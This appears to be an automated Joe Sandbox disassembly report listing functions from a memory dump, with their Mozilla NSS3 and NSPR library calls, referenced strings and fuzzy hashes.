Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e29c4b5bb6d6758e2423f4201de0e06c154844596c7b4cfa590ab10ff7b60690
Instruction ID: cc59595d2b9acefa6286fac82cfefc325974dcab8797e6d1bfb533229eef69fb
Opcode Fuzzy Hash: e29c4b5bb6d6758e2423f4201de0e06c154844596c7b4cfa590ab10ff7b60690
Instruction Fuzzy Hash: 1BA1B2B6E002059FEF109FA4DC81BEEBBB4EF05318F244129E905A7751E732E955CBA1

Function 6CE72C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72C93

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23,?), ref: 6CE72CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?,?,6CE73F23), ref: 6CE72CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?), ref: 6CE72CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE6E477,?,?,?,00000001,00000000,?), ref: 6CE72D4D
EnterCriticalSection.KERNEL32(?), ref: 6CE72D61
PL_HashTableLookup.NSS3(?,?), ref: 6CE72D71
PR_Unlock.NSS3(?), ref: 6CE72D7E

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

Strings

#?l, xrefs: 6CE72C43

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: 9234dff8178d1f05ea7f8394097afc3f2c1d841348decba3d63a012c469175b9
Instruction ID: 7fdfff300d5113689945ed18475aca1a8a3716782358e40d25cbad4e60076fd5
Opcode Fuzzy Hash: 9234dff8178d1f05ea7f8394097afc3f2c1d841348decba3d63a012c469175b9
Instruction Fuzzy Hash: 7B5117B5D00605EBDB109F24EC449AAB7B4FF2935CB248524ED1897B12F732E964C7E1

Function 6CECAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECADB1

Part of subcall function 6CEABE30: SECOID_FindOID_Util.NSS3(6CE6311B,00000000,?,6CE6311B,?), ref: 6CEABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CECADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CECAE08

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CECAE25
PL_FreeArenaPool.NSS3 ref: 6CECAE63
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CECAE4D

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECAE93
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CECAECC
PL_FreeArenaPool.NSS3 ref: 6CECAEDE
PL_FinishArenaPool.NSS3 ref: 6CECAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECAEF5
PL_FinishArenaPool.NSS3 ref: 6CECAF16

Strings

security, xrefs: 6CECADEE

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 8b24f57e8d0348525b3a9c124af392f3f017fa61a47d0e940233111a50a08e7c
Instruction ID: 1ea5af73380a826b8ffa49130d4db5f26bbd8ddf9aa67d67d2f253a44201de3d
Opcode Fuzzy Hash: 8b24f57e8d0348525b3a9c124af392f3f017fa61a47d0e940233111a50a08e7c
Instruction Fuzzy Hash: AC412BB1E842046BE7215B14ED85BBA32B8AF4231CF340529E834A6F41F7359989C7D7

Function 6CF6AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF19890: TlsGetValue.KERNEL32(?,?,?,6CF197EB), ref: 6CF1989E

EnterCriticalSection.KERNEL32(?), ref: 6CF6AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF6AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF6AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF6AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF6B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6B070
PR_JoinThread.NSS3(?), ref: 6CF6B07B
free.MOZGLUE(?), ref: 6CF6B084
EnterCriticalSection.KERNEL32(?), ref: 6CF6B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF6B0C4
PR_JoinThread.NSS3(?), ref: 6CF6B0F3
free.MOZGLUE(?), ref: 6CF6B0FC
PR_JoinThread.NSS3(?), ref: 6CF6B137
free.MOZGLUE(?), ref: 6CF6B140

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 3232ab289dcc6c1655a2240c7f1681e3b8684c8747ffd2f56aef7e41cfa0962b
Instruction ID: a93ca0976870149a947e6ae7e6bec05aaa08e7afe47ea0751fcb59cf355793ed
Opcode Fuzzy Hash: 3232ab289dcc6c1655a2240c7f1681e3b8684c8747ffd2f56aef7e41cfa0962b
Instruction Fuzzy Hash: 3C915DB6900601DFCB04DF25D88095ABBF1FF4931872985A9D8195BF22EB32FD46CB91

Function 6CEE5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2BF0
Part of subcall function 6CEE2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2C07
Part of subcall function 6CEE2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2C1E
Part of subcall function 6CEE2BE0: free.MOZGLUE(?,00000000,00000000,?,6CEE2A28,00000060,00000001), ref: 6CEE2C4A

free.MOZGLUE(?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D0F
free.MOZGLUE(?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D4E
free.MOZGLUE(?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D62
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D85
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5D99
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEE5E3E
free.MOZGLUE(?,?,?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEE5E47
free.MOZGLUE(?,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEE80C1), ref: 6CEE5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CEEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEE5E78
free.MOZGLUE(?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEE5F4B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 059d469c48a517036ed2c09d9221bdcbacd174495df4404bdfc0210809c04402
Instruction ID: 14b35b45dedffc4a2195db3f6240fde02e8f3e5580e04c538f99035b0a7e4558
Opcode Fuzzy Hash: 059d469c48a517036ed2c09d9221bdcbacd174495df4404bdfc0210809c04402
Instruction Fuzzy Hash: D471AEB4A01B01DFD700CF64D884AA7B7B5BF89348F248529E81E87B11EB32F955CB91

Function 6CE68DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE68E22
EnterCriticalSection.KERNEL32(?), ref: 6CE68E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE68E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE68E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE68EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE68EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE68EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68F00
free.MOZGLUE(?), ref: 6CE68F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE68F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE68F5B
PR_Unlock.NSS3(?), ref: 6CE68F72
PR_Unlock.NSS3(?), ref: 6CE68F82

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 6b7f91341da946c339ea0fe5c764c709fe6cd7ad9626b244fce19f912133efe3
Instruction ID: 76c8a133580e4a6e13a34548b43f13edffd60079d44c5b06fb49059fbc76e69f
Opcode Fuzzy Hash: 6b7f91341da946c339ea0fe5c764c709fe6cd7ad9626b244fce19f912133efe3
Instruction Fuzzy Hash: 56515AB2E502059FD7108F69CC8496EB7B9EF46358F24412AEC189BF00E731ED4587E1

Function 6CE8CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CE8CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE8CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CE8CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CE8CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CE8CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE8CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CE8CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CE8CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CE8CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CE8CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CE8CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CE8CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CE8CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CE8D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CE8D021

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 6a6d266ab41ec0a4c7586651eb6572e9a840f2c60d3054227a5d07aead0d1188
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 5A3152757579112BEF0E10975C21B9E206A8B6530EF65003DF90FFDBC0F685975702A5

Function 6CF60FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF61000

Part of subcall function 6CF19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE41A48), ref: 6CF19BB3
Part of subcall function 6CF19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE41A48), ref: 6CF19BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF61016

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_Unlock.NSS3(?), ref: 6CF61021

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF61046
PR_Unlock.NSS3(?), ref: 6CF6106B
PR_Lock.NSS3 ref: 6CF61079
PR_Unlock.NSS3 ref: 6CF61096
free.MOZGLUE(?), ref: 6CF610A7
free.MOZGLUE(?), ref: 6CF610B4
PR_DestroyCondVar.NSS3(?), ref: 6CF610BF
PR_DestroyCondVar.NSS3(?), ref: 6CF610CA
PR_DestroyCondVar.NSS3(?), ref: 6CF610D5
PR_DestroyCondVar.NSS3(?), ref: 6CF610E0
PR_DestroyLock.NSS3(?), ref: 6CF610EB
free.MOZGLUE(?), ref: 6CF61105

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: a1599be1184a71e322a6d55543bada7b42529696171a6703837748ccd248bc49
Instruction ID: bb7a55892f17c9f6799b3929e3c27c4138fbf1886b4286fd6d62a0a32b7001e2
Opcode Fuzzy Hash: a1599be1184a71e322a6d55543bada7b42529696171a6703837748ccd248bc49
Instruction Fuzzy Hash: 1D316FB5900802BBDB019F15ED41A45BB76FF01319B288134D40953F61E732F978DBD2

Function 6CDDDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CDDDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CDDDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CDDDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CDDDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDDECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDDF6D, 6CDDDFCC, 6CDDDFDD
database corruption, xrefs: 6CDDDF77, 6CDDDFE7
%s at line %d of [%.10s], xrefs: 6CDDDF7C, 6CDDDFEC

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 3e3ade34e3dce86cfe783280927f527212541adcbebaecbbf54f05c5f6cae339
Instruction ID: 657504cec936f1b726198af4ab7c60cbde664201a86e6dabd6fb2f93f1dd9caa
Opcode Fuzzy Hash: 3e3ade34e3dce86cfe783280927f527212541adcbebaecbbf54f05c5f6cae339
Instruction Fuzzy Hash: F7A1B671A043419FDB10DF29C880A6AB7F5EF85318F16892DE8858BB61D731F945CFA2

Function 6CE9EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CE9EE0B

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9EEE1

Part of subcall function 6CE91D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CE91D7E
Part of subcall function 6CE91D50: EnterCriticalSection.KERNEL32(?), ref: 6CE91D8E
Part of subcall function 6CE91D50: PR_Unlock.NSS3(?), ref: 6CE91DD3

TlsGetValue.KERNEL32 ref: 6CE9EE51
EnterCriticalSection.KERNEL32(?), ref: 6CE9EE65
PR_Unlock.NSS3(?), ref: 6CE9EEA2
free.MOZGLUE(?), ref: 6CE9EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CE9EED0
PR_Unlock.NSS3(?), ref: 6CE9EF48
free.MOZGLUE(?), ref: 6CE9EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CE9EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CE9EFA4
free.MOZGLUE(?), ref: 6CE9EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE9F055
free.MOZGLUE(?), ref: 6CE9F060

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: c7ed8e2679d8435b5eed71f0f7375d69590c2f8aaa67db59b667f786d67c500b
Instruction ID: 96554f39abfa1b84691f7a7d8107fd905be08279950ed8541af33861d223eb0a
Opcode Fuzzy Hash: c7ed8e2679d8435b5eed71f0f7375d69590c2f8aaa67db59b667f786d67c500b
Instruction Fuzzy Hash: 79817275E00609ABDF00DFA5DC85BEE7BB5BF09358F244028E919A3711E731E954CBA1

Function 6CE64CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE64D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE64D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE64DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE64E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE64E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE64E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE64E85
DER_Encode_Util.NSS3(?,?,6CFB05A4,00000000), ref: 6CE64EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE64F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE64F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE64F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE64F7A
